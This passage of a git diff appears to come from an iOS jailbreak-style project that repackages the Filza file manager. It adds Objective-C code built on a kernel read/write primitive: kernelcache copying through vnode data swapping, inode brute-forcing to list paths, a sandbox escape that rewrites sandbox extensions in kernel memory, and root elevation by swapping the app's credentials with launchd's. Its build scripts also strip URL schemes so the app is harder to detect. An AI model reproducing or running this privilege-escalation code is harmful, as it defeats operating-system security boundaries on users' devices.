kc_copysrc_vnode = get_vnode_by_fd(kc_copysrc_fd); + uint64_t kc_copysrc_v_data = kread64(kc_copysrc_vnode + off_vnode_v_data); + + NSString *kc_folder_path = [NSString stringWithFormat:@"/private/preboot/%s%@", get_bootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches"]; + get_vnode_for_path_by_open(kc_path.UTF8String); // it will fail, but need to call make searchable kernelcache from vnode_get_child_vnode? + uint64_t kc_folder_vnode = get_vnode_for_path_by_chdir(kc_folder_path.UTF8String); + uint64_t kc_vnode = vnode_get_child_vnode(kc_folder_vnode, "kernelcache", kread64(kc_copysrc_vnode + off_vnode_v_data)); + if(kc_vnode == -1) { + printf("Failed to find kernelcache vnode by searching child vnode\n"); + return -1; + } + + uint64_t kc_v_data = kread64(kc_vnode + off_vnode_v_data); + + // temporary replace with kernelcache data by modifying vnode->v_data + kwrite64(kc_copysrc_vnode + off_vnode_v_data, kc_v_data); + + // Copy data now! + char buf[4096]; + ssize_t n; + while ((n = read(kc_copysrc_fd, buf, sizeof(buf))) > 0) + write(kc_copydst_fd, buf, n); + + // restore original vnode->v_data + kwrite64(kc_copysrc_vnode + off_vnode_v_data, kc_copysrc_v_data); + + close(kc_copysrc_fd); + close(kc_copydst_fd); + + if(is_kernelcache_valid(kc_copydst_path) == false) { + printf("[%s:%d] Invalid kernelcache data :(\n", __FUNCTION__, __LINE__); + hexdump_file(kc_copydst_path.UTF8String, 100); + return -1; + } + + return 0; +} + +int init_xpf(void) { + if(grab_kernelcache() != 0) return -1; + + NSString *kernelcache_path = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/kc"]; + + if (xpf_start_with_kernel_path(kernelcache_path.fileSystemRepresentation) == 0) { + printf("Starting XPF with %s (%s)\n", kernelcache_path.fileSystemRepresentation, gXPF.kernelVersionString); + clock_t t = clock(); + + printf("Kernel base: 0x%llx\n", gXPF.kernelBase); + printf("Kernel entry: 0x%llx\n", gXPF.kernelEntry); + //xpf_print_all_items(); + + char *sets[] = { + "translation", + "trustcache", + "physmap", + "struct", + "physrw", + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + }; + + uint32_t idx = 0; + while (sets[idx] != NULL) idx++; + + if (xpf_set_is_supported("sandbox")) { + sets[idx++] = "sandbox"; + } + if (xpf_set_is_supported("perfkrw")) { + sets[idx++] = "perfkrw"; + } + if (xpf_set_is_supported("devmode")) { + sets[idx++] = "devmode"; + } + if (xpf_set_is_supported("badRecovery")) { + sets[idx++] = "badRecovery"; + } + if (xpf_set_is_supported("arm64kcall")) { + sets[idx++] = "arm64kcall"; + } + if (xpf_set_is_supported("trigon")) { + sets[idx++] = "trigon"; + } + + xpc_object_t serializedSystemInfo = xpf_construct_offset_dictionary((const char **)sets); + if (serializedSystemInfo) { + xpc_dictionary_apply(serializedSystemInfo, ^bool(const char *key, xpc_object_t value) { + if (xpc_get_type(value) == XPC_TYPE_UINT64) { + printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); + } + return true; + }); +// xpc_release(serializedSystemInfo); + } + else { + printf("XPF Error: %s\n", xpf_get_error()); + } + + t = clock() - t; + double time_taken = ((double)t)/CLOCKS_PER_SEC; + printf("XPF finished in %lf seconds\n", time_taken); + xpf_stop(); + } + else { + printf("Failed to start XPF: %s\n", xpf_get_error()); + } + + puts("done"); + + return 0; +} diff --git a/pathleak.h b/pathleak.h new file mode 100644 index 0000000..57811bb --- /dev/null +++ b/pathleak.h @@ -0,0 +1,41 @@ +// +// pathleak.h +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef pathleak_h +#define pathleak_h + +#import + +NSArray *pathleak(NSString *filter, uint64_t max_inode); + +#endif /* pathleak_h */ + +/// Enumerate paths beneath any of `roots`, up to `maxDepth` components below +/// each root. A single inode sweep can feed several container families at +/// once, which is much faster than rescanning the volume per family. +NSArray *pathleak_roots(NSArray *roots, + NSUInteger maxDepth, + uint64_t max_inode); + diff --git a/pathleak.m b/pathleak.m new file mode 100644 index 0000000..99fc419 --- /dev/null +++ b/pathleak.m @@ -0,0 +1,164 @@ +// +// pathleak.m +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include +#include + +// This is just a rewrite of bad_query_list to return an NSString array and run faster +// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol. +// Which is still, obviously, dramatically faster than brute-forcing UUIDs. + +// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count. + +NSArray *pathleak(NSString *path, uint64_t max_inode) { + // Sanity checks + if (path.length == 0 || max_inode < 1) return nil; + NSString *dir = path; + while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present) + dir = [dir substringToIndex: dir.length - 1]; + } + + // Set everything up + struct statfs sfs; + if (statfs(dir.fileSystemRepresentation, &sfs) != 0) return nil; + fsid_t fsid = sfs.f_fsid; + + + // fsgetpath is a syscall per inode. Splitting the range across the + // performance cores cuts the wall-clock time substantially on A-series + // devices; each worker owns its own bucket so no locking is required. + NSUInteger workerCount = MIN((NSUInteger)8, + MAX((NSUInteger)2, NSProcessInfo.processInfo.processorCount)); + NSMutableArray *> *buckets = + [NSMutableArray arrayWithCapacity:workerCount]; + for (NSUInteger index = 0; index < workerCount; index++) + [buckets addObject:[NSMutableArray array]]; + + uint64_t chunkSize = (max_inode + workerCount - 1) / workerCount; + dispatch_apply(workerCount, + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(size_t index) { + uint64_t start = 1 + chunkSize * (uint64_t)index; + uint64_t end = MIN(max_inode, start + chunkSize - 1); + if (start > max_inode) return; + NSMutableArray *bucket = buckets[index]; + char prefix[PATH_MAX]; + if (![dir getFileSystemRepresentation:prefix maxLength:sizeof(prefix)]) return; + size_t prefix_length = strlen(prefix); + if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0; + char buffer[PATH_MAX]; + for (uint64_t inode = start; inode <= end; inode++) { + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + + if (strncmp(buffer, prefix, prefix_length) != 0) continue; + if (buffer[prefix_length] != '/') continue; + if (strchr(buffer + prefix_length + 1, '/')) continue; + + NSString *string = [[NSString alloc] initWithBytes:buffer + length:strlen(buffer) encoding:NSUTF8StringEncoding]; + if (string) [bucket addObject:string]; + } + }); + + NSMutableArray *result = [NSMutableArray array]; + for (NSArray *bucket in buckets) [result addObjectsFromArray:bucket]; + return result; +} + +NSArray *pathleak_roots(NSArray *roots, + NSUInteger maxDepth, + uint64_t max_inode) { + if (roots.count == 0 || max_inode < 1) return nil; + + NSString *anchor = roots.firstObject; + struct statfs sfs; + if (statfs(anchor.fileSystemRepresentation, &sfs) != 0) return nil; + fsid_t fsid = sfs.f_fsid; + + NSUInteger workerCount = MIN((NSUInteger)8, + MAX((NSUInteger)2, NSProcessInfo.processInfo.processorCount)); + NSMutableArray *> *buckets = + [NSMutableArray arrayWithCapacity:workerCount]; + for (NSUInteger index = 0; index < workerCount; index++) + [buckets addObject:[NSMutableArray array]]; + + uint64_t chunkSize = (max_inode + workerCount - 1) / workerCount; + dispatch_apply(workerCount, + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(size_t index) { + uint64_t start = 1 + chunkSize * (uint64_t)index; + uint64_t end = MIN(max_inode, start + chunkSize - 1); + if (start > max_inode) return; + + NSUInteger rootCount = roots.count; + char **prefixes = calloc(rootCount, sizeof(char *)); + size_t *lengths = calloc(rootCount, sizeof(size_t)); + if (!prefixes || !lengths) { + free(prefixes); free(lengths); return; + } + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) { + NSString *root = roots[rootIndex]; + char value[PATH_MAX]; + if (![root getFileSystemRepresentation:value maxLength:sizeof(value)]) + continue; + prefixes[rootIndex] = strdup(value); + lengths[rootIndex] = strlen(value); + } + + NSMutableArray *bucket = buckets[index]; + char buffer[PATH_MAX]; + for (uint64_t inode = start; inode <= end; inode++) { + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) { + char *prefix = prefixes[rootIndex]; + size_t length = lengths[rootIndex]; + if (!prefix || length == 0) continue; + if (strncmp(buffer, prefix, length) != 0) continue; + if (buffer[length] != '/') continue; + const char *remainder = buffer + length + 1; + NSUInteger depth = 0; + for (const char *cursor = remainder; *cursor; cursor++) + if (*cursor == '/') depth++; + if (depth > maxDepth) continue; + NSString *string = [[NSString alloc] initWithBytes:buffer + length:strlen(buffer) encoding:NSUTF8StringEncoding]; + if (string) [bucket addObject:string]; + break; + } + } + + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) + free(prefixes[rootIndex]); + free(prefixes); + free(lengths); + }); + + NSMutableArray *result = [NSMutableArray array]; + for (NSArray *bucket in buckets) [result addObjectsFromArray:bucket]; + return result; +} diff --git a/sandbox_escape.h b/sandbox_escape.h new file mode 100644 index 0000000..6c431a4 --- /dev/null +++ b/sandbox_escape.h @@ -0,0 +1,14 @@ +#ifndef sandbox_escape_h +#define sandbox_escape_h + +#include + +// Escape sandbox by rewriting sandbox extension data in kernel memory. +// Walk: proc_ro -> ucred -> cr_label -> sandbox -> ext_set -> ext_table -> ext -> data +int sandbox_escape(uint64_t self_proc); + +// Elevate to uid=0 by swapping our p_ucred pointer with launchd's. +// Fixes UNIX DAC (owner/mode) checks so chmod/chown/writes to root-owned +int sandbox_elevate_to_root(uint64_t self_proc); + +#endif diff --git a/sandbox_escape.m b/sandbox_escape.m new file mode 100644 index 0000000..bb5b977 --- /dev/null +++ b/sandbox_escape.m @@ -0,0 +1,288 @@ +/* + * sandbox_escape.m — Sandbox escape via kernel memory patching + * + * Walk proc_ro → ucred → cr_label → sandbox → ext_set → ext_table + * Patch extension paths to "/", rewrite class to "com.apple.app-sandbox.read-write" + * Fill all 16 hash slots → full R+W filesystem access + * Based on 18.3_sandbox/root.m by CrazyMind90. + */ + +#import +#include +#include +#include +#include +#include "sandbox_escape.h" +#include "kexploit/kexploit_opa334.h" +#include "kexploit/krw.h" +#include "kexploit/kutils.h" +#include "kexploit/offsets.h" + +extern void early_kread(uint64_t where, void *read_buf, size_t size); + +#define KRW_LEN 0x20 + +// Verified offsets (IDA binary analysis across 6 kernelcaches) +#define OFF_PROC_PROC_RO 0x18 // proc → proc_ro (stable 17.0-26.x) +#define OFF_PROC_RO_UCRED 0x20 // proc_ro → p_ucred (verified all versions) +#define OFF_UCRED_CR_LABEL 0x78 // ucred → cr_label (KDK struct dump) +#define OFF_LABEL_SANDBOX 0x10 // label → sandbox (MAC l_perpolicy[1]) +#define OFF_SANDBOX_EXT_SET 0x10 // sandbox → ext_set +#define OFF_EXT_DATA 0x40 // ext → data_addr +#define OFF_EXT_DATALEN 0x48 // ext → data_len + +// posix_cred lives inside ucred at +0x18 (16B cr_link + 8B cr_ref). +// Derived from OFF_UCRED_CR_LABEL=0x78 and sizeof(posix_cred)=0x60. +#define OFF_UCRED_CR_POSIX 0x18 +#define OFF_POSIX_CR_UID 0x00 +#define OFF_POSIX_CR_RUID 0x04 +#define OFF_POSIX_CR_SVUID 0x08 +#define OFF_POSIX_CR_NGROUPS 0x0C +#define OFF_POSIX_CR_GROUPS_0 0x10 // first group (cr_groups[0]) +#define OFF_POSIX_CR_RGID 0x50 +#define OFF_POSIX_CR_SVGID 0x54 +#define OFF_POSIX_CR_GMUID 0x58 +#define OFF_POSIX_CR_FLAGS 0x5C + +#ifdef __arm64e__ +static uint64_t __attribute((naked)) __xpaci_sbx(uint64_t a) { + asm(".long 0xDAC143E0"); + asm("ret"); +} +#else +#define __xpaci_sbx(x) (x) +#endif + +extern uint64_t VM_MIN_KERNEL_ADDRESS; +extern uint64_t pac_mask; + +#define S(x) ({ uint64_t _v = __xpaci_sbx(x); \ + ((_v >> 32) > 0xFFFF ? (_v | pac_mask) : _v); }) +#define K(x) ((x) > VM_MIN_KERNEL_ADDRESS) + +#pragma mark - Extension patching + +static void patch_ext(uint64_t ext) { + uint64_t da = early_kread64(ext + OFF_EXT_DATA); + uint64_t dl = early_kread64(ext + OFF_EXT_DATALEN); + if (K(da) && dl > 0) { + uint8_t buf[KRW_LEN]; + early_kread(da, buf, KRW_LEN); + buf[0] = '/'; buf[1] = 0; + early_kwrite32bytes(da, buf); + } + uint8_t chunk[KRW_LEN]; + early_kread(ext + OFF_EXT_DATA, chunk, KRW_LEN); + *(uint64_t*)(chunk + 0x08) = 1; + *(uint64_t*)(chunk + 0x10) = 0xFFFFFFFFFFFFFFFFULL; + early_kwrite32bytes(ext + OFF_EXT_DATA, chunk); +} + +static int patch_chain(uint64_t hdr) { + int n = 0; + for (int i = 0; i < 64 && K(hdr); i++) { + uint64_t ext = S(early_kread64(hdr + 0x8)); + if (K(ext)) { patch_ext(ext); n++; } + uint64_t next = early_kread64(hdr); + if (!next || !K(next)) break; + hdr = S(next); + } + return n; +} + +static void set_rw_class(uint64_t hdr) { + uint64_t ext = S(early_kread64(hdr + 0x8)); + if (!K(ext)) return; + uint64_t da = early_kread64(ext + OFF_EXT_DATA); + if (!K(da)) return; + + const char *rw = "com.apple.app-sandbox.read-write"; + uint8_t b1[KRW_LEN], b2[KRW_LEN]; + memset(b1, 0, KRW_LEN); memset(b2, 0, KRW_LEN); + memcpy(b1, rw, KRW_LEN); + early_kwrite32bytes(da + 32, b1); + early_kwrite32bytes(da + 64, b2); + + uint8_t hb[KRW_LEN]; + early_kread(hdr, hb, KRW_LEN); + *(uint64_t*)(hb + 0x10) = da + 32; + early_kwrite32bytes(hdr, hb); +} + +#pragma mark - Main entry + +int sandbox_escape(uint64_t self_proc) { + if (!self_proc) { NSLog(@"[SBX] self_proc is NULL"); return -1; } + + uint64_t proc_ro_raw = early_kread64(self_proc + OFF_PROC_PROC_RO); + uint64_t proc_ro = S(proc_ro_raw); + NSLog(@"[SBX] self_proc=0x%llx proc_ro_raw=0x%llx proc_ro=0x%llx", self_proc, proc_ro_raw, proc_ro); + if (!K(proc_ro)) { NSLog(@"[SBX] proc_ro invalid"); return -1; } + + // Scan proc_ro for ucred — offset varies by iOS build. + // p_ucred is an SMR pointer. Dump offsets 0x10-0x40 to find it. + NSLog(@"[SBX] Scanning proc_ro for ucred..."); + uint64_t ucred = 0; + for (uint32_t off = 0x10; off <= 0x40; off += 0x8) { + uint64_t raw = early_kread64(proc_ro + off); + uint64_t smr = kread_smrptr(proc_ro + off); + uint64_t pac = S(raw); + NSLog(@"[SBX] proc_ro+0x%x: raw=0x%llx smr=0x%llx pac=0x%llx", off, raw, smr, pac); + + // Check if smr-decoded value looks like ucred (cr_label at +0x78 is a kernel ptr) + if (K(smr)) { + uint64_t maybe_label = S(early_kread64(smr + 0x78)); + if (K(maybe_label)) { + uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10)); + if (K(maybe_sandbox)) { + NSLog(@"[SBX] Found ucred at proc_ro+0x%x (SMR) = 0x%llx", off, smr); + ucred = smr; + break; + } + } + } + // Also try PAC-stripped + if (!ucred && K(pac)) { + uint64_t maybe_label = S(early_kread64(pac + 0x78)); + if (K(maybe_label)) { + uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10)); + if (K(maybe_sandbox)) { + NSLog(@"[SBX] Found ucred at proc_ro+0x%x (PAC) = 0x%llx", off, pac); + ucred = pac; + break; + } + } + } + } + if (!K(ucred)) { NSLog(@"[SBX] ucred not found in proc_ro"); return -1; } + + uint64_t label = S(early_kread64(ucred + OFF_UCRED_CR_LABEL)); + if (!K(label)) { NSLog(@"[SBX] cr_label invalid"); return -1; } + + uint64_t sandbox = S(early_kread64(label + OFF_LABEL_SANDBOX)); + if (!K(sandbox)) { NSLog(@"[SBX] sandbox invalid"); return -1; } + + uint64_t ext_set = S(early_kread64(sandbox + OFF_SANDBOX_EXT_SET)); + if (!K(ext_set)) { NSLog(@"[SBX] ext_set invalid"); return -1; } + + NSLog(@"[SBX] proc_ro=0x%llx ucred=0x%llx label=0x%llx sandbox=0x%llx ext_set=0x%llx", + proc_ro, ucred, label, sandbox, ext_set); + + int patched = 0; + for (int s = 0; s < 16; s++) { + uint64_t hdr = S(early_kread64(ext_set + s * 8)); + if (K(hdr)) patched += patch_chain(hdr); + } + NSLog(@"[SBX] Patched %d extensions", patched); + + int classed = 0; + for (int s = 0; s < 16; s++) { + uint64_t hdr = S(early_kread64(ext_set + s * 8)); + if (K(hdr) && K(early_kread64(hdr + 0x10))) { set_rw_class(hdr); classed++; } + } + NSLog(@"[SBX] Changed %d extension classes", classed); + + uint64_t src = 0; + for (int s = 0; s < 16 && !src; s++) { + uint64_t h = S(early_kread64(ext_set + s * 8)); + if (K(h)) src = h; + } + if (src) { + int filled = 0; + for (int s = 0; s < 16; s++) { + uint64_t h = early_kread64(ext_set + s * 8); + if (!h || !K(h)) { early_kwrite64(ext_set + s * 8, src); filled++; } + } + NSLog(@"[SBX] Filled %d empty hash slots", filled); + } + + int fd_w = open("/var/mobile/.sbx_test", O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd_w >= 0) { close(fd_w); unlink("/var/mobile/.sbx_test"); } + + if (fd_w >= 0) { + NSLog(@"[SBX] *** SANDBOX ESCAPED (R+W) ***"); + return 0; + } + + NSLog(@"[SBX] Sandbox escape verification failed (errno=%d: %s)", errno, strerror(errno)); + return -1; +} + +#pragma mark - UID elevation (uid=0 via launchd ucred swap) + +// Scan proc_ro in [0x10..0x40] for a valid ucred pointer. +// A valid ucred has cr_label at +0x78 pointing to a kernel addr +static int sbx_find_ucred_slot(uint64_t proc, uint64_t *ucred_out, uint32_t *off_out) { + if (!proc) return -1; + uint64_t proc_ro = S(early_kread64(proc + OFF_PROC_PROC_RO)); + if (!K(proc_ro)) return -1; + + for (uint32_t off = 0x10; off <= 0x40; off += 0x8) { + uint64_t raw = early_kread64(proc_ro + off); + uint64_t smr = kread_smrptr(proc_ro + off); + uint64_t pac = S(raw); + uint64_t cands[2] = { smr, pac }; + for (int i = 0; i < 2; i++) { + uint64_t c = cands[i]; + if (!K(c)) continue; + uint64_t lbl = S(early_kread64(c + OFF_UCRED_CR_LABEL)); + if (!K(lbl)) continue; + uint64_t sbx = S(early_kread64(lbl + OFF_LABEL_SANDBOX)); + if (K(sbx)) { + *ucred_out = c; + *off_out = off; + return 0; + } + } + } + return -1; +} + +static uint64_t sbx_ucredbyproc(uint64_t proc) { + uint64_t ucred = 0; + uint32_t off = 0; + if (sbx_find_ucred_slot(proc, &ucred, &off) != 0) return 0; + return ucred; +} + +int sandbox_elevate_to_root(uint64_t self_proc) { + uint64_t launchd = proc_find_by_name("launchd"); + if (!launchd || launchd == (uint64_t)-1) { + NSLog(@"[SBX] elevate: procbyname(\"launchd\") failed; trying pid 1 fallback"); + launchd = proc_find(1); + if (launchd && launchd != (uint64_t)-1) { + NSLog(@"[SBX] elevate: resolved launchd via pid 1 fallback: 0x%llx", launchd); + } + } + if (!launchd || launchd == (uint64_t)-1) { + NSLog(@"[SBX] elevate: could not find launchd"); + return -1; + } + + uint64_t launchducred = sbx_ucredbyproc(launchd); + if (!launchducred) { + NSLog(@"[SBX] elevate: failed to get valid ucred from launchd"); + return -1; + } + NSLog(@"[SBX] elevate: launchd ucred: 0x%llx", launchducred); + + if (!self_proc) { + NSLog(@"[SBX] elevate: failed to get our proc"); + return -1; + } + NSLog(@"[SBX] elevate: ourproc: 0x%llx", self_proc); + + uint64_t ourucredraw = early_kread64(self_proc + 0x10); + uint64_t ourucred = S(ourucredraw); + NSLog(@"[SBX] elevate: ourucred: 0x%llx", ourucred); + + early_kwrite64(self_proc + 0x10, launchducred); + + if (getuid() == 0) { + NSLog(@"[SBX] elevate success!"); + return 0; + } + + NSLog(@"[SBX] elevate failed, uid: %d", getuid()); + return -1; +} diff --git a/scripts/build_developer.sh b/scripts/build_developer.sh new file mode 100755 index 0000000..218c2c3 --- /dev/null +++ b/scripts/build_developer.sh @@ -0,0 +1,32 @@ +#!/bin/zsh +# Build the developer Filza 27.2 IPA: public features plus the full terminal, +# apt/dpkg, SSH server, mount, archive extraction and respring. +# +# Required environment: +# BASE_IPA path to FilzaSlop-v1.2.0-unsigned.ipa +# ASHELL_IPA path to a signed/unsigned a-Shell IPA that supplies the +# command frameworks and resources +# WQ_APP_GROUPS at least one App Group from the signing profile +# Optional: +# PROFILE, ENTITLEMENTS, SIGN_IDENTITY, KEYCHAIN +# BUNDLE_ID (default com.jbjf.filzanb) +# APP_DISPLAY_NAME (default filza27.2) +set -euo pipefail + +ROOT="${0:A:h:h}" +BASE_IPA="${BASE_IPA:-$ROOT/base/FilzaSlop-v1.2.0-unsigned.ipa}" +OUTPUT="${1:-$ROOT/build/filza_develop.ipa}" +export BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filzanb}" +export APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +export FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-developer}" +export WQ_TERMINAL=full +export ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" +: "${WQ_APP_GROUPS:?set WQ_APP_GROUPS to the App Group(s) in your profile}" +[[ -f "$ASHELL_IPA" ]] || { + echo "a-Shell IPA not found: $ASHELL_IPA" >&2 + echo "Set ASHELL_IPA to a-Shell (or a-Shell mini) IPA." >&2 + exit 66 +} + +mkdir -p "${OUTPUT:h}" +exec "$ROOT/scripts/build_wq_ipa.sh" "$BASE_IPA" "$OUTPUT" diff --git a/scripts/build_public.sh b/scripts/build_public.sh new file mode 100755 index 0000000..7b893e6 --- /dev/null +++ b/scripts/build_public.sh @@ -0,0 +1,23 @@ +#!/bin/zsh +# Build the public Filza 27.2 IPA (no terminal, SSH server or package CLI). +# +# Required environment: +# BASE_IPA path to FilzaSlop-v1.2.0-unsigned.ipa +# WQ_APP_GROUPS at least one App Group from the signing profile +# Optional: +# PROFILE, ENTITLEMENTS, SIGN_IDENTITY, KEYCHAIN +# BUNDLE_ID (default com.jbjf.filza) +# APP_DISPLAY_NAME (default filza27.2) +set -euo pipefail + +ROOT="${0:A:h:h}" +BASE_IPA="${BASE_IPA:-$ROOT/base/FilzaSlop-v1.2.0-unsigned.ipa}" +OUTPUT="${1:-$ROOT/build/filza_public.ipa}" +export BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filza}" +export APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +export FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-public}" +: "${WQ_APP_GROUPS:?set WQ_APP_GROUPS to the App Group(s) in your profile}" +unset WQ_TERMINAL + +mkdir -p "${OUTPUT:h}" +exec "$ROOT/scripts/build_wq_ipa.sh" "$BASE_IPA" "$OUTPUT" diff --git a/scripts/build_release.sh b/scripts/build_release.sh new file mode 100755 index 0000000..e50cb5a --- /dev/null +++ b/scripts/build_release.sh @@ -0,0 +1,14 @@ +#!/bin/zsh +# Build both release artifacts: +# build/filza_public.ipa +# build/filza_develop.ipa +set -euo pipefail + +ROOT="${0:A:h:h}" +"$ROOT/scripts/build_public.sh" "$ROOT/build/filza_public.ipa" +"$ROOT/scripts/build_developer.sh" "$ROOT/build/filza_develop.ipa" + +echo +echo "==> Release artifacts" +ls -lh "$ROOT/build/filza_public.ipa" "$ROOT/build/filza_develop.ipa" +shasum -a 256 "$ROOT/build/filza_public.ipa" "$ROOT/build/filza_develop.ipa" diff --git a/scripts/build_release_ipa.sh b/scripts/build_release_ipa.sh new file mode 100755 index 0000000..691f028 --- /dev/null +++ b/scripts/build_release_ipa.sh @@ -0,0 +1,91 @@ +#!/bin/zsh +set -euo pipefail + +if (( $# < 2 || $# > 3 )); then + echo "usage: $0 [MCMIdentifiers.plist]" >&2 + exit 64 +fi + +BASE_IPA="${1:A}" +OUTPUT_IPA="${2:A}" +CATALOG="${3:-}" +if [[ -n "$CATALOG" ]]; then + CATALOG="${CATALOG:A}" +fi + +REPO_ROOT="${0:A:h:h}" +THEOS="${THEOS:-$HOME/theos}" +export THEOS + +FILZASLOP_VERSION="${FILZASLOP_VERSION:-$( + git -C "$REPO_ROOT" describe --tags --exact-match HEAD 2>/dev/null || true +)}" +if [[ -z "$FILZASLOP_VERSION" || ${#FILZASLOP_VERSION} -gt 64 || + "$FILZASLOP_VERSION" == *[^A-Za-z0-9._-]* ]]; then + echo "invalid FilzaSlop version: $FILZASLOP_VERSION" >&2 + echo "tag the release commit or set FILZASLOP_VERSION explicitly" >&2 + exit 65 +fi + +[[ -f "$BASE_IPA" ]] || { echo "base IPA not found: $BASE_IPA" >&2; exit 66; } +if [[ -n "$CATALOG" ]]; then + [[ -f "$CATALOG" ]] || { echo "catalog not found: $CATALOG" >&2; exit 66; } + plutil -lint "$CATALOG" >/dev/null + plutil -extract AppData xml1 -o /dev/null "$CATALOG" +fi + +cd "$REPO_ROOT" +make clean +make package FINALPACKAGE=1 + +DYLIB="$REPO_ROOT/.theos/obj/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || { echo "built dylib not found: $DYLIB" >&2; exit 70; } + +STAGE_ROOT="$(mktemp -d /tmp/FilzaSlop-release.XXXXXX)" +trap 'trash "$STAGE_ROOT"' EXIT +unzip -q "$BASE_IPA" -d "$STAGE_ROOT/stage" + +APP="$(find "$STAGE_ROOT/stage/Payload" -maxdepth 1 -type d -name '*.app' -print -quit)" +[[ -n "$APP" ]] || { echo "Payload app not found" >&2; exit 65; } + +BUNDLE_ID="$(plutil -extract CFBundleIdentifier raw -o - "$APP/Info.plist")" +[[ "$BUNDLE_ID" == "com.apple.mobile.MobileHouseArrest" ]] || { + echo "unexpected bundle identifier: $BUNDLE_ID" >&2 + exit 65 +} + +if codesign -d "$APP" >/dev/null 2>&1; then + echo "base app is signed; use an unsigned base IPA" >&2 + exit 65 +fi + +cp "$DYLIB" "$APP/Frameworks/FilzaApplySandboxExt.dylib" +codesign --remove-signature "$APP/Frameworks/FilzaApplySandboxExt.dylib" + +# Strip URL schemes (filza://, Dropbox, Box SDK) — detectable via canOpenURL: +plutil -remove CFBundleURLTypes "$APP/Info.plist" 2>/dev/null || true +if plutil -extract CFBundleURLTypes xml1 -o /dev/null "$APP/Info.plist" \ + >/dev/null 2>&1; then + echo "failed to remove CFBundleURLTypes from the release app" >&2 + exit 65 +fi + +plutil -replace FilzaSlopVersion -string "$FILZASLOP_VERSION" \ + "$APP/Info.plist" 2>/dev/null || + plutil -insert FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" + +if [[ -n "$CATALOG" ]]; then + cp "$CATALOG" "$APP/MCMIdentifiers.plist" +elif [[ -e "$APP/MCMIdentifiers.plist" ]]; then + trash "$APP/MCMIdentifiers.plist" +fi + +if [[ -e "$OUTPUT_IPA" ]]; then + trash "$OUTPUT_IPA" +fi +( + cd "$STAGE_ROOT/stage" + zip -qry "$OUTPUT_IPA" Payload +) + +shasum -a 256 "$OUTPUT_IPA" diff --git a/scripts/build_wq_ipa.sh b/scripts/build_wq_ipa.sh new file mode 100755 index 0000000..a717cda --- /dev/null +++ b/scripts/build_wq_ipa.sh @@ -0,0 +1,171 @@ +#!/bin/zsh +# Build the worse_query edition of FilzaSlop and repackage a Filza IPA. +# +# Usage: +# scripts/build_wq_ipa.sh +# +# Environment: +# BUNDLE_ID Bundle identifier to write into the app (default: +# com.filzaslop.worsequery). It must match the App ID in the +# provisioning profile used for signing. +# WQ_APP_GROUPS Space-separated App Group identifiers. At least one is +# required for worse_query at runtime. +# ENTITLEMENTS Optional entitlements plist. When omitted, the app is +# ad-hoc signed with the groups from WQ_APP_GROUPS. +# SIGN_IDENTITY Optional codesign identity. Omit for an unsigned/ad-hoc +# IPA suitable for third-party signing. +# KEYCHAIN Optional keychain path for SIGN_IDENTITY. +# PROFILE Optional .mobileprovision copied to embedded.mobileprovision. +# FILZASLOP_VERSION Version string shown by the update checker. +set -euo pipefail + +if (( $# != 2 )); then + echo "usage: $0 " >&2 + exit 64 +fi + +BASE_IPA="${1:A}" +OUTPUT_IPA="${2:A}" +REPO_ROOT="${0:A:h:h}" +THEOS="${THEOS:-$HOME/theos}" +BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filza}" +APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +WQ_APP_GROUPS="${WQ_APP_GROUPS:-}" +FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-1.0}" +SIGN_IDENTITY="${SIGN_IDENTITY:-}" +KEYCHAIN="${KEYCHAIN:-}" +PROFILE="${PROFILE:-}" +ENTITLEMENTS="${ENTITLEMENTS:-}" + +[[ -f "$BASE_IPA" ]] || { echo "base IPA not found: 